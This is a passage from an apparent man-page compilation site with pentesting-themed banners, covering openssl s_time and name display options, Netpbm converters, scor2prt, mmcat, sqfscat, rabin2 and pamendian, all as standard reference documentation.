This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-cafile file
This is an obsolete synonym for -CAfile.

-ssl3, -tls1, -tls1_1, -tls1_2, -tls1_3
See “TLS Version Options” in openssl (1).

NOTES

This command can be used to measure the performance of an SSL connection. To connect to an SSL HTTP server and get the default page the command

openssl s_time -connect servername:443 -www / -CApath yourdir -CAfile yourfile.pem -cipher commoncipher [-ssl3]

would typically be used (https uses port 443). commoncipher is a cipher to which both client and server can agree, see the openssl-ciphers (1) command for details.

If the handshake fails then there are several possible causes, if it is nothing obvious like no client certificate then the -bugs and -ssl3 options can be tried in case it is a buggy server. In particular you should play with these options before submitting a bug report to an OpenSSL mailing list.

A frequent problem when attempting to get client certificates working is that a web client complains it has no certificates or gives an empty list to choose from. This is normally because the server is not sending the clients certificate authority in its “acceptable CA list” when it requests a certificate. By using openssl-s_client (1) the CA list can be viewed and checked. However, some servers only request client authentication after a specific URL is requested. To obtain the list in this case it is necessary to use the -prexit option of openssl-s_client (1) and send an HTTP request for an appropriate page.

If a certificate is specified on the command line using the -cert option it will not be used unless the server specifically requests a client certificate. Therefore, merely including a client certificate on the command line is no guarantee that the certificate works.

BUGS

Because this program does not have all the options of the openssl-s_client (1) program to turn protocols on and off, you may not be able to measure the performance of all protocols with all servers.

The -verify option should really exit if the server verification fails.

HISTORY

The -cafile option was deprecated in OpenSSL 3.0.

SEE ALSO

openssl (1), openssl-s_client (1), openssl-s_server (1), openssl-ciphers (1), ossl_store-file (7)

COPYRIGHT

Copyright 2004-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

171 - Linux cli command ppmtobmp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtobmp and provides detailed information about the command ppmtobmp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtobmp.

.

NAME 🖥️ ppmtobmp 🖥️

convert a PPM image into a BMP file

SYNOPSIS

ppmtobmp

[-windows]

[-os2]

[**-bpp=**bits_per_pixel]

[**-mapfile=**filename]

[ppmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmtobmp reads a PPM image as input and produces a Microsoft Windows or OS/2 BMP file as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtobmp recognizes the following command line options:

-windows
Tells the program to produce a Microsoft Windows BMP file. (This is the default.)

-os2
Tells the program to produce an OS/2 BMP file. (Before August 2000, this was the default).

-bpp
This tells how many bits per pixel you want the BMP file to contain. Only 1, 4, 8, and 24 are possible. By default, ppmtobmp chooses the smallest number with which it can represent all the colors in the input image. If you specify a number too small to represent all the colors in the input image, ppmtobmp tells you and terminates. You can use pnmquant or ppmdither to reduce the number of colors in the image.

Before Netpbm 10.85 (December 2018), ppmtobmp ignores this option if the input is PBM and produces a BMP with 1 bit per pixel. With these versions, if you want more than that, use pbmtopgm to convert the PBM to PGM first.

**-mapfile=**filename
This identifies a file to use as the BMP palette (aka “colormap”). In one BMP subformat, the BMP stream contains a palette of up to 256 colors, and represents the image raster as indices into that palette. Normally, ppmtobmp takes care of computing a suitable palette, but if you are going to dissect the BMP output in some way, you may want certain values for the palette indices. E.g. you might want red to be 13, where ppmtobmp would (arbitrarily) choose 39. In that case, you can construct the palette yourself and use this option to tell ppmtobmp to use your palette.

This option does not control what colors are in the output. The colors in the output are exactly those in the input, and the palette you supply must contain at least all the colors that are in the input. You can use pnmremap to adjust your input image so that it contains only colors from your palette.

The palette file is a Netpbm format file with one pixel per palette entry. Each pixel must have a distinct color (no repeats). The order of the BMP palette ppmtobmp generates is the order of the pixels in the palette file, going from top to bottom, left to right.

A BMP palette may have at most 256 colors, so the palette file must have at most 256 pixels.

You may find pnmcolormap useful in generating the palette file. pamseq too.

In the case of grayscale image, if you are processing the BMP image, it may be convenient for you to have the actual gray values in the raster part of the image rather than arbitrary indices into a palette. There is no BMP format specifically for that, but you can achieve it by using a palette in which each index is equal to the indexed gray value, and then ignoring the palette when you process the BMP image.

Here is an example of doing that:

    $ pamseq 1 255 > mapfile.pgm

    $ ppmtobmp -mapfile=mapfile.pgm input.pgm > output.bmp

This option was new in Netpbm 10.45 (December 2008).

NOTES

To get a faithful reproduction of the input image, the maxval of the input image must be 255. If it is something else, the colors in the BMP file may be slightly different from the colors in the input.

Windows icons are not BMP files. Use ppmtowinicon to create those.

SEE ALSO

bmptoppm(1) , ppmtowinicon(1) , pnmquant(1) , ppmdither(1) , pnmremap(1) , ppm(1)

AUTHOR

Copyright (C) 1992 by David W. Sanderson.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtobmp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

172 - Linux cli command scor2prt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scor2prt and provides detailed information about the command scor2prt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scor2prt.

NAME 🖥️ scor2prt 🖥️

source-parts separation program for pmx, a MusiXTeX preprocessor

SYNOPSIS

scor2prt basename*[.pmx]*

DESCRIPTION

scor2prt is part of pmx(1), a preprocessor for MusiXTeX. It can automatically create parts from a score by generating a set of .pmx files, one for each part, from a single .pmx file for the score. The appearance of the parts can be controlled by special commands in the main file. Read the PMX Manual for more information about that.

SEE ALSO

pmx(1), pmxab(1), musixtex(1), PMX Manual

AUTHORS

PMX was written by Don Simons <[email protected]>. This manual page was written by Roland Stigge <[email protected]> for the Debian project and revised by Bob Tennent <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

173 - Linux cli command mmcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmcat and provides detailed information about the command mmcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmcat.

NAME 🖥️ mmcat 🖥️

Output the contents of a partition to stdout

SYNOPSIS

mmcat [-t mmtype ] [-o offset ] [ -i imgtype ] [-b dev_sector_size] [-vV] image [images] part_num

DESCRIPTION

mmcat outputs the contents of a specific volume to stdout. This allows you to extract the contents of a partition to a separate file.

ARGUMENTS

-t mmtype
Specify the media management type. Use ‘-t list’ to list the supported types. If not given, autodetection methods are used.

-o offset
Specify the offset into the image where the volume containing the partition system starts. The relative offset of the partition system will be added to this value.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-v
Verbose output of debugging statements to stderr

-V
Display version

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

part_num
Address of partition to process. See the mmls output to determine the address of the partitions.

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

174 - Linux cli command mtvtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mtvtoppm and provides detailed information about the command mtvtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mtvtoppm.

.

NAME 🖥️ mtvtoppm 🖥️

convert output from an MTV or PRT ray tracer into a PPM

SYNOPSIS

mtvtoppm [mtvfile]

DESCRIPTION

This program is part of Netpbm(1) .

mtvtoppm reads an input file from Mark VanDeWettering’s MTV ray tracer and produces a PPM image as output.

The PRT raytracer also produces this format.

OPTIONS

There are no command line options defined specifically for mtvtoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/mtvtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

175 - Linux cli command sqfscat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqfscat and provides detailed information about the command sqfscat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqfscat.

NAME 🖥️ sqfscat 🖥️

tool to cat files from a squashfs filesystem to stdout

SYNOPSIS

sqfscat [OPTIONS] FILESYSTEM [list of files to cat to stdout]

DESCRIPTION

Squashfs is a highly compressed read-only filesystem for Linux. It uses either gzip/xz/lzo/lz4/zstd compression to compress both files, inodes and directories. Inodes in the system are very small and all blocks are packed to minimise data overhead. Block sizes greater than 4K are supported up to a maximum of 1Mbytes (default block size 128K).

Squashfs is intended for general read-only filesystem use, for archival use (i.e. in cases where a .tar.gz file may be used), and in constrained block device/memory systems (e.g. embedded systems) where low overhead is needed.

OPTIONS

-v, -version
print version, licence and copyright information.

-p NUMBER, -processors NUMBER
use NUMBER processors. By default will use the number of processors available.

-o BYTES, -offset BYTES
skip BYTES at start of FILESYSTEM. Optionally a suffix of K, M or G can be given to specify Kbytes, Mbytes or Gbytes respectively (default 0 bytes).

-ig, -ignore-errors
treat errors writing files to stdout as non-fatal.

-st, -strict-errors
treat all errors as fatal.

-no-exit, -no-exit-code
don’t set exit code (to nonzero) on non-fatal errors.

-da SIZE, -data-queue SIZE
set data queue to SIZE Mbytes. Default 256 Mbytes.

-fr SIZE, -frag-queue SIZE
set fragment queue to SIZE Mbytes. Default 256 Mbytes.

-no-wild, -no-wildcards
do not use wildcard matching in filenames.

-r, -regex
treat filenames as POSIX regular expressions rather than use the default shell wildcard expansion (globbing).

-h, -help
output options text to stdout.

DECOMPRESSORS AVAILABLE

gzip, lzo, lz4, xz, zstd, lzma

EXIT STATUS

0
The file or files were output to stdout OK.

1
FATAL errors occurred, e.g. filesystem corruption, I/O errors. Sqfscat did not continue and aborted.

2
Non-fatal errors occurred, e.g. not a regular file, or failed to resolve pathname. Sqfscat continued and did not abort.

See -ignore-errors, -strict-errors and -no-exit-code options for how they affect the exit status.

EXAMPLES

sqfscat IMAGE.SQFS hello
Output the contents of “hello” to stdout.

sqfscat IMAGE.SQFS hello world
Output the contents of “hello” and then “world” to stdout.

sqfscat IMAGE.SQFS “*.[ch]”
Output the contents of all the files in the root directory that match the wildcard *.[ch], to stdout, e.g. hello.c, hello.h, world.c, world.h.

Note: when passing wildcarded names to Sqfscat, they should be quoted (as in the above examples), to ensure that they are not processed by the shell.

AUTHOR

Written by Phillip Lougher <[email protected]>

COPYRIGHT

Copyright © 2023 Phillip Lougher <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

SEE ALSO

mksquashfs(1), unsquashfs(1), sqfstar(1)

The README for the Squashfs-tools 4.6.1 release, describing the new features can be read here https://github.com/plougher/squashfs-tools/blob/master/README-4.6.1

The Squashfs-tools USAGE guide can be read here https://github.com/plougher/squashfs-tools/blob/master/USAGE-4.6

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

176 - Linux cli command openssl-namedisplay-optionsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-namedisplay-optionsssl and provides detailed information about the command openssl-namedisplay-optionsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-namedisplay-optionsssl.

NAME 🖥️ openssl-namedisplay-optionsssl 🖥️

namedisplay-options - Distinguished name display options

SYNOPSIS

openssl command [ options … ] [ parameters … ]

DESCRIPTION

OpenSSL provides fine-grain control over how the subject and issuer DN’s are displayed. This is specified by using the -nameopt option, which takes a comma-separated list of options from the following set. An option may be preceded by a minus sign, -, to turn it off. The default value is utf8,sep_comma_plus_space. The first four are the most commonly used.

OPTIONS

Name Format Option Arguments

The DN output format can be fine tuned with the following flags.

compat
Display the name using an old format from previous OpenSSL versions.

RFC2253
Display the name using the format defined in RFC 2253. It is equivalent to esc_2253, esc_ctrl, esc_msb, utf8, dump_nostr, dump_unknown, dump_der, sep_comma_plus, dn_rev and sname.

oneline
Display the name in one line, using a format that is more readable RFC 2253. It is equivalent to esc_2253, esc_ctrl, esc_msb, utf8, dump_nostr, dump_der, use_quote, sep_comma_plus_space, space_eq and sname options.

multiline
Display the name using multiple lines. It is equivalent to esc_ctrl, esc_msb, sep_multiline, space_eq, lname and align.

esc_2253
Escape the “special” characters in a field, as required by RFC 2253. That is, any of the characters ,+"<>;, # at the beginning of a string and leading or trailing spaces.

esc_2254
Escape the “special” characters in a field as required by RFC 2254 in a field. That is, the NUL character and of ()*.

esc_ctrl
Escape non-printable ASCII characters, codes less than 0x20 (space) or greater than 0x7F (DELETE). They are displayed using RFC 2253 \XX notation where XX are the two hex digits representing the character value.

esc_msb
Escape any characters with the most significant bit set, that is with values larger than 127, as described in esc_ctrl.

use_quote
Escapes some characters by surrounding the entire string with quotation marks, ". Without this option, individual special characters are preceded with a backslash character, \.

utf8
Convert all strings to UTF-8 format first as required by RFC 2253. If the output device is UTF-8 compatible, then using this option (and not setting esc_msb) may give the correct display of multibyte characters. If this option is not set, then multibyte characters larger than 0xFF will be output as \UXXXX for 16 bits or \WXXXXXXXX for 32 bits. In addition, any UTF8Strings will be converted to their character form first.

ignore_type
This option does not attempt to interpret multibyte characters in any way. That is, the content octets are merely dumped as though one octet represents each character. This is useful for diagnostic purposes but will result in rather odd looking output.

show_type
Display the type of the ASN1 character string before the value, such as BMPSTRING: Hello World.

dump_der
Any fields that would be output in hex format are displayed using the DER encoding of the field. If not set, just the content octets are displayed. Either way, the #XXXX… format of RFC 2253 is used.

dump_nostr
Dump non-character strings, such as ASN.1 OCTET STRING. If this option is not set, then non character string types will be displayed as though each content octet represents a single character.

dump_all
Dump all fields. When this used with dump_der, this allows the DER encoding of the structure to be unambiguously determined.

dump_unknown
Dump any field whose OID is not recognised by OpenSSL.

sep_comma_plus, sep_comma_plus_space, sep_semi_plus_space, sep_multiline
Specify the field separators. The first word is used between the Relative Distinguished Names (RDNs) and the second is between multiple Attribute Value Assertions (AVAs). Multiple AVAs are very rare and their use is discouraged. The options ending in “space” additionally place a space after the separator to make it more readable. The sep_multiline starts each field on its own line, and uses “plus space” for the AVA separator. It also indents the fields by four characters. The default value is sep_comma_plus_space.

dn_rev
Reverse the fields of the DN as required by RFC 2253. This also reverses the order of multiple AVAs in a field, but this is permissible as there is no ordering on values.

nofname, sname, lname, oid
Specify how the field name is displayed. nofname does not display the field at all. sname uses the “short name” form (CN for commonName for example). lname uses the long form. oid represents the OID in numerical form and is useful for diagnostic purpose.

align
Align field values for a more readable output. Only usable with sep_multiline.

space_eq
Places spaces round the equal sign, =, character which follows the field name.

COPYRIGHT

Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

177 - Linux cli command rabin2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rabin2 and provides detailed information about the command rabin2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rabin2.

This program allows you to get information about ELF/PE/MZ and CLASS files in a simple way.

All those command-line flags are also available under the i command in radare2. Type i? for help.

Show information (symbol, section, import) of the given address

List sub-binaries and their associated arch-bits pairs

Set arch (x86, arm, .. accepts underscore for bits x86_32)

Set bits (32, 64, …)

Override baddr

List classes

List classes in header format

Create [elf,mach0,pe] for arm and x86-32/64 tiny binaries where ‘C’ is an hexpair list of the code bytes and ‘:D’ is an optional concatenation to describe the bytes for the data section.

Show debug/dwarf information

Demangle symbol name (or - to read from stdin) for lang (cxx, swift, java, cxx, ..)

Show entrypoints for disk and on-memory

Show constructor/destructors (extended entrypoints)

Select sub-binary architecture. Useful for fat-mach0 binaries

Force to use that bin plugin (ignore header check)

Show all possible information

Load address . offset to header

Show usage help message.

Show header fields (see ih command in r2)

Show binary info (see iI command in r2)

Show imports (symbols imported from libraries) (see ii command in r2)

Output in json

Perform SDB query on loaded file

Select a rahash2 checksum algorithm to be performed on sections listing (and maybe others in the future) i.e ‘rabin2 -K md5 -S /bin/ls’

List linked libraries to the binary

List supported bin plugins

Show address of ‘main’ symbol

Show source line reference from a given address

Force minimum and maximum number of chars per string (see -z and -zz). if (strlen>minlen && (!maxlen || strlen<=maxlen))

Show information (symbol, section, import) at string offset

Output file/folder for write operations (out by default)

Perform binary operation on target binary (dump, resize, change sections, …) see ‘-O help’ for more information

Disable VA. Always show physical addresses (not the same as -B0)

Show debug/pdb information

Download pdb file for binary

Be quiet, just show fewer data

Show less info (no offset/size for -z for ex.)

Show load address used by dlopen (non-aslr libs)

Show output in radare format

Show relocations

Show exported symbols

Show sections

Show segments

Show file hashes

Show certificates

Unfiltered (no rename duplicated symbols/sections)

Show resources

Show version information

Show binary version information

Show try/catch blocks

Extract all sub binaries from a fat binary (for example: fatmach0)

Package a fat or zip containing all the files passed (fat, zip)

Show strings inside .data section (like gnu strings does)

Guess size of binary program

Shows strings from raw bins

Dump raw strings to stdout (for huge files)

RABIN2_ARGS ignore cli and use these arguments instead

RABIN2_LANG same as r2 -e bin.lang for rabin2

RABIN2_DEMANGLE demangle symbols

RABIN2_MAXSTRBUF same as r2 -e bin.maxstrbuf for rabin2

RABIN2_DEBASE64 try to decode all strings as base64 if possible

RABIN2_STRFILTER same as r2 -e bin.str.filter for rabin2

RABIN2_STRPURGE same as r2 -e bin.str.purge for rabin2

RABIN2_DEMANGLE_TRYLIB same as r2 -e bin.demangle.trylib=<bool> - try to dynamically load libraries to demangle

RABIN2_VERBOSE same as r2 -e bin.verbose=true

List symbols of a program

$ rabin2 -s a.out

Get offset of symbol

$ rabin2 -n _main a.out

Get entrypoint

$ rabin2 -e a.out

Load symbols and imports from radare2

$ r2 -n /bin/ls [0x00000000]> .!rabin2 -prsi $FILE

Written by pancake <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

178 - Linux cli command pamendian

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamendian and provides detailed information about the command pamendian, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamendian.

.

NAME 🖥️ pamendian 🖥️

reverse endianness of a Netpbm image

SYNOPSIS

pamendian

DESCRIPTION

This program is part of Netpbm(1) .

All Netpbm formats that have samples in pure binary format with multiple bytes are defined to have them in big endian (most significant byte first) order. However, there exist variations on these formats, primarily developed before official multibyte Netpbm formats existed, that are identical to Netpbm formats in every respect except that samples are in little endian (least significant byte first) order.

pamendian reverses the byte order of the sample to convert between the two formats. If the input is true PAM, PGM, or PPM, the output is the little endian variation on that format, and vice versa.

The X Window System viewer xv expects the little endian variation of PGM and PPM.

Programs that come with the Independent Jpeg Group’s JPEG library are known to use the little endian variation of PGM and PPM.

The reason some programs use this variant is that at one time during Netpbm’s dark age(1) , there was a version of Netpbm around that used it. But it was never formally specified.

This program takes input only on Standard Input. Its output is always on Standard Output.

You should never have to use this program with images generated by programs in the Netpbm package or programs that use the Netpbm libraries. If you do, that probably means something needs to be fixed in those programs. The Netpbm converter for any graphics format that represents numbers in little endian form should properly reverse the bytes to create correct Netpbm output.

If you create a Netpbm image from a generic stream of samples, using rawtopgm or rawtoppm, use options on those programs to declare the endianness of your input, thus creating correct endianness in your PGM or PPM output.

OPTIONS

There are no command line options defined specifically for pamendian, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamdepth(1) , rawtopgm(1) , rawtoppm(1) , pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamendian.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

